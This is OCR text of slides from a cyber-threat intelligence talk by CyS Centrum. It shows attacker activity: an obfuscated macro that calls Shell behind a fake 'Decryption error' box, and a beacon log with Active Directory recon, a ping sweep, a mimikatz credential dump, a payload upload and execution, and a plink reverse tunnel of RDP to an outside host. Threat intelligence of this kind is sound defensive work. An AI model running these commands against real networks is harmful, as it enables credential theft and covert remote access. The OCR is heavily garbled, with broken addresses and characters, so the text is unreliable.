etiz = rgocsymd & yzebexs soft W McAfee V' Symantec Security Analytics

gytpax = etiz & mduve o

Shell gytpax, 0 2019-03-28 16:33:48 5I59 @ © vesisiy
MsgBox ("Decryption error")

End If 2019-03-26 14:46:22 2/58

LEnd Sub

2019-03-26 11:43:29 2I57
2019-03-12 17:57:45 0I58

2019-03-12 09:20:34 0I57
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[metadata] B3.xxxx202 <- IT2.18.147124; computer: 7T6642-POS0Z; user: SYSTEM *; pid: 3192; os: Windows; version: B.1; beacon arch: x86

linput] <hacker> shell dsquery * -filter "(&(objectcateqory=computer)(dnshostname="""112))" -attr dNSHostName distinguishedName
description operatingdystem operatingSystemServicePack -limit 0

[output]

dNSHostName description operatingdystem ServicePack
BWD-POSI CN=BWD--1151,0U=Computers Windows 7 Professional  Service Pack |
SBWD-POS3 CN=8BWD-F1J5, 0U=Computers Windows 7 Professional  Service Pack |
SBWD-PON4 CN=SBWD-F1154,0l=Computers Windows 7 Professional  Service Pack |

[task] Tasked beacon to run: pings 10.200.1.110.201.2.]
[output] Pinging 207 Adresses......

|
| [P Adress | Hostname | Reply Time |
| | | |
| 10200010 | cbwd-jharan | |
| 10.200.1.100 |DCORP-GC-100 | D

| 10.20L1L11 | DEORP-WHST-IE |

|
|
| 10.200.0.100 | DCORP-FSRV-10G | |
|
| | | |
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[task] Tasked beacon to run mimikatz's sekurlsa:logonpasswords command

* lUsername : ******WORKS§

*Domain : ***-POS

" Passyord - JrDljojfD[./PeBFiZ /Gd>*ZnT+BdT)F 4 obV.4([QsLgsRHgiNGw(yAdr (ZAk/)]-

.[.’.[ask] Tasked beacon to upload C:\Users\Administrator\Downloads\2013-01-31 _dnsl0_ x32-only\installer 8.exe as
C:\Windows \systemdZ\0409\installer 8.exe
[task] Tasked beacon to execute: C:\Windows \system3Z\D403\installer 8.exe

[task] Tasked beacon to run: plink novrfy.exe -batch -P 22 -N -v -R [8356:localhost:3389 root@<ip> -pw <pwd>
[output]

Connecting to <ip> port 22

Server version: SSH-2.0-0penSSH_6.6.1p! Ubuntu-2ubuntuZ |l

Doing Diffie-Hellman key exchange with hash SHA-256

ssh-rsa 2048 damcxxocxxxx:xx:xxaa:b3:xx:fa:a:94:91 7

Using username "root”.

Access granted

Requesting remote port 18306 forward to localhost:3389

Remote port forwarding from (8556 enabled

CyS Centrum

36



7.00.2013

Baku, Azerbaijan

Cyber-Threat Intelligence: Know Your Enemy
Nikolay KOVAL

Cyd Centrum

koval@cys-centrum.com




